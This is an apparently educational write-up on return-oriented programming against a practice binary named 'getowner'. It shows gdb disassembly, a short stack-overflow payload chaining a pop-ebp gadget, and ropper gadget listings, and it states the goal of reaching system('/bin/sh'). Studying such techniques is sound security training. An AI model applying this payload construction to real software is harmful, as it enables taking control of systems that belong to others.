Return Oriented Programming, or ROP for short, is the idea of chaining together small “gadgets” of executable code with stack control in order to get the program to do something more complex. It’s an exploitation technique that can enable us to expand the functionality provided to us within getowner.
At the time of experimentation, I was unfamiliar with ROP. I found ROP Emporium to be a great training grounds- check it out if you want to practice.
Gadgets
Gadgets, in the context of ROP, are small instruction strings at predictable addresses that provide some useful functionality for us. They should end in a ret, jmp, or call. Take, for example, the closing instructions of main():
gdb-peda$ disassemble main
Dump of assembler code for function main:
[...]
0x08048505 <+209>: add esp,0xec
0x0804850b <+215>: pop edi
0x0804850c <+216>: pop ebp
0x0804850d <+217>: ret
End of assembler dump.
gdb-peda$ Since the address of main() isn’t randomized, these instructions are always at a predictable location. If we ever need to pop edi; pop ebp; ret, we can return to memory address 0x0804850b. Combined with our stack control, we can now control the register values for %edi and %ebp.
Finding useful gadgets and chaining them together is the foundation of ROP. But what exactly is a “useful” gadget?
- Arithmetic gadgets can help us manipulate data in memory or register values as necessary. (e.g.
add eax, 1; ret)- Specifically, we could use an add or subtract gadget in the right context to help us mathematically locate libc functions with an address leak.
- Memory manipulation gadgets (write or read) can help us move data to or from memory. (e.g.
mov [esi], edi; ret) - Register manipulation gadgets, like the one listed above, can help us manipulate register values. (e.g.
pop ebp; ret) - Call or syscall gadgets can help us manipulate the program’s control flow. (e.g.
call eax) - Stack pivoting gadgets can help us manipulate the stack frame. (e.g.
leave; ret)
Let’s walk through a short example of chaining two gadgets together in getowner using gdb. I’ll be using the following gadget to control the %ebp register before returning to main().
0x0804850c: pop ebp; ret;To utilize this gadget and return back to main, I’ll need to format the payload in the following way.
junk = "A" * 135
main = "\x34\x84\x04\x08"
popebp = "\x0c\x85\x04\x08"
new_ebp_value = "\xef\xbe\xad\xde"
payload = junk + popebp + new_ebp_value + mainThis payload should set the return address of main() to our pop ebp; ret gadget, set %ebp to 0xdeadbeef after the pop, and return from the gadget to the top of main(). Let’s step through it in gdb.
Now that we understand how to use gadgets, why don’t we look at which gadgets getowner provides us with? I’ll be using ropper (?) to find out.
Arithmetic
The main reason I’m looking for an arithmetical gadget is to “walk” through libc using addition or subtraction with the base of a libc GOT entry. With this method, I’ll be able to move something like the printf() address to the addresses of system(), exit(), or "/bin/sh", which we’ll need to call our shell*. It’s for this reason that I don’t care about multiplication, division, or bit shifting; I only care about addition or subtraction.
* There are plenty of other methods to spawn an interactive shell (e.g. execve or interrupt calls), but for the sake of simplicity, we’ll stick to the example that was covered above.
Let’s see what kind of addition or subtraction gadgets are available to us within getowner. I’ll highlight the ones that I find interesting or easy to use.
(getowner/ELF/x86)> search /2/ add
[INFO] Searching for gadgets: add
[INFO] File: ./getowner
0x0804840a: add al, 8; add ecx, ecx; ret;
0x0804842d: add al, 8; call eax;
0x080483f7: add al, 8; call edx;
0x080482fe: add al, byte ptr [eax]; add cl, cl; ret;
0x080483bd: add byte ptr [eax], al; add byte ptr [ebx - 0x7f], bl; ret;
0x08048508: add byte ptr [eax], al; add byte ptr [edi + 0x5d], bl; ret;
0x0804859e: add byte ptr [eax], al; inc edi; call dword ptr [esi];
0x0804861e: add byte ptr [eax], al; sub ebx, 4; call eax;
0x080482ff: add byte ptr [eax], al; leave; ret;
0x080483bf: add byte ptr [ebx - 0x7f], bl; ret;
0x0804850a: add byte ptr [edi + 0x5d], bl; ret;
0x08048300: add cl, cl; ret;
0x08048407: add eax, 0x80497b4; add ecx, ecx; ret;
0x080483f1: add eax, 4; mov dword ptr [0x80497b0], eax; call edx;
0x0804840c: add ecx, ecx; ret;
(getowner/ELF/x86)> search /2/ sub
[INFO] Searching for gadgets: sub
[INFO] File: ./getowner
0x08048620: sub ebx, 4; call eax;
(getowner/ELF/x86)> It looks like there are no good subtraction gadgets available, but that’s okay- we can just use integer overflow to subtract if we really need to. The first gadget (at 0x0804840a) should add 8 to the least significant byte of %eax, otherwise known as %al (?). The other two (at 0x080483bf and 0x0804850a) use %ebx and %edi respectively as memory addresses, and add the least significate byte of %ebx to the data at those addresses (actually a constant offset away, but still achieves the same goal).
To utilize the first gadget, we’ll need to be able to control the value of %eax. To utilize the second, we’ll need %ebx. For the third, we’ll need control over both %edi and %ebx.
It’s worth noting that, while the second gadget is interesting, we’ll have a harder time controlling what value we’re actually adding because %ebx serves as both a pointer AND an addition value. Similarly, while the first gadget is interesting, it’s useless if we can’t control and save the value of %eax. Regardless, we’ll need to see which registers we have control over before making a decision.
Memory Manipulation
When searching for a memory manipulation gadget, I’ll only be interested in arbitrary memory write (e.g. mov dword ptr [eax], ebx) or arbitrary memory read (e.g. mov eax, dword ptr [ebx]) gadgets.
Let’s see what we have. Again, I’ll highlight the ones that I found interesting.
(getowner/ELF/x86)> search mov [
[INFO] Searching for gadgets: mov [
[INFO] File: ./getowner
0x08048406: mov byte ptr [0x80497b4], 1; leave; ret;
0x080483f4: mov dword ptr [0x80497b0], eax; call edx;
0x08048428: mov dword ptr [esp], 0x80496b0; call eax;
0x08048428: mov dword ptr [esp], 0x80496b0; call eax; leave; ret;
(getowner/ELF/x86)> search mov %, [
[INFO] Searching for gadgets: mov %, [
[INFO] File: ./getowner
0x080484ff: mov eax, dword ptr [ebp - 0xe4]; add esp, 0xec; pop edi; pop ebp; ret;
0x080485b3: mov ebx, dword ptr [esp]; ret;
0x08048400: mov edx, dword ptr [eax]; test edx, edx; jne 0x3f1; mov byte ptr [0x80497b4], 1; leave; ret;
(getowner/ELF/x86)> The first gadget provides arbitrary control over %eax (assuming that we have control over %ebp), but increments the stack pointer register (%esp) by 0xec (decimal 236). So, unless we want to waste a precious 236 bytes of our stack frame, this isn’t feasible.
The second gadget is almost like a pop %ebx instruction, but doesn’t change the stack pointer. It just sets %ebx to the value at the top of the stack. Not exactly what we’re looking for.
The third gadget loads the value at the memory address stored in %eax into %edx. This seems useful, but ends in a mandatory stack pivot (leave), so unless we can know the address of the stack at runtime (which is randomized by ASLR), we’ll have to come up with a different plan.
All three of these gadgets are memory read gadgets; it looks like there are no gadgets that allow us to store an arbitrary value into memory.
It’s worth noting that I could have searched harder for arbitrary memory manipulation gadgets (and likely found more useful ones), but they ended up not being necessary for the final payload.
Register Manipulation
What we’re looking for here is a way to set registers to arbitrary values. Usually, register manipulation gadgets come in the form of pop %reg; ret, but as we saw above, there are other ways to manipulate registers as well. Regardless, lets search for popret gadgets:
(getowner/ELF/x86)> search pop
[INFO] Searching for gadgets: pop
[INFO] File: ./getowner
0x0804862c: pop eax; pop ebx; pop ebp; nop; ret;
0x080483d6: pop eax; pop ebx; leave; ret;
0x0804862e: pop ebp; nop; ret;
0x0804850c: pop ebp; ret;
0x0804862d: pop ebx; pop ebp; nop; ret;
0x080485ef: pop ebx; pop ebp; ret;
0x08048558: pop ebx; pop esi; pop edi; pop ebp; ret;
0x080483d7: pop ebx; leave; ret;
0x0804864c: pop ecx; pop ebx; leave; ret;
0x0804850b: pop edi; pop ebp; ret;
0x08048559: pop esi; pop edi; pop ebp; ret;
(getowner/ELF/x86)> Wow, lucky us! Looks like we have control over a lot of different registers using the same kind of gadget that I showed above. Specifically, the full list is:
%eax%ebx%ecx%esi%edi%ebp
Notably, we don’t have control over %edx, but that’s okay. We can control the two remaining registers, %eip (instruction pointer register) and %esp (stack pointer register), with ret or stack pivoting (which we’ll cover in a moment) respectively.